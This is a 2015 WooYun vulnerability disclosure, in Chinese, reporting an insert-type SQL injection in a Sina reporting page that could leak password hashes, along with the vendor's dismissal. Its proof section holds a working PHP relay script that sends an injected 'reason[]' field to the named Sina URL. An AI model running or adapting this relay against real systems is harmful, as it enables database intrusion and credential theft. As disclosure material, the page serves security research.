当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2015-095764
漏洞标题：
新浪某业务存在一处隐蔽的SQL注入（insert型注射获取密码hash）
相关厂商：
新浪
漏洞作者：
杀器王子
提交时间：
2015-02-05 12:07
修复时间：
2015-02-06 11:31
公开时间：
2015-02-06 11:31
漏洞类型：
SQL注射漏洞
危害等级：
高
自评Rank：
15
漏洞状态：
漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2015-02-05： 细节已通知厂商并且等待厂商处理中
2015-02-06： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

没想到这里也有注入( ⊙ o ⊙ )！

详细说明：

http://im.sina.com.cn/report.php?type=1&uid=1&retcode=0
这个地方 是举报的页面

Snip20150205_47.png


一不小心就漏了

Snip20150205_48.png

漏洞证明：

<?php
 function do_post_request($url, $data, $optional_headers = null)
  {
     $params = array('http' => array(
                  'method' => 'POST',
                  'content' => $data
               ));
     if ($optional_headers !== null) {
        $params['http']['header'] = $optional_headers;
     }
     $ctx = stream_context_create($params);
     $fp = @fopen($url, 'rb', false, $ctx);
     if (!$fp) {
        throw new Exception("Problem with $url, $php_errormsg");
     }
     $response = @stream_get_contents($fp);
     if ($response === false) {
        throw new Exception("Problem reading data from $url, $php_errormsg");
     }
     return $response;
  }
  $data = "uploadFile=123456&content=111111&gid=123456&fid=123456&addr_url=123456&report_object=1268896683&type=1&reason%5B%5D=a' and 1=".$_GET['sql']." or '";
  echo do_post_request('http://im.sina.com.cn/report.php?type=1&uid=1&retcode=0',$data);
?>


中转一下

Snip20150205_51.png


Snip20150205_50.png

修复方案：

版权声明：转载请注明来源 杀器王子@乌云

>

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-02-06 11:31

厂商回复：

此安全问题已经有白帽子通过其它渠道报告过，感谢你对新浪安全的关注。

最新状态：

暂无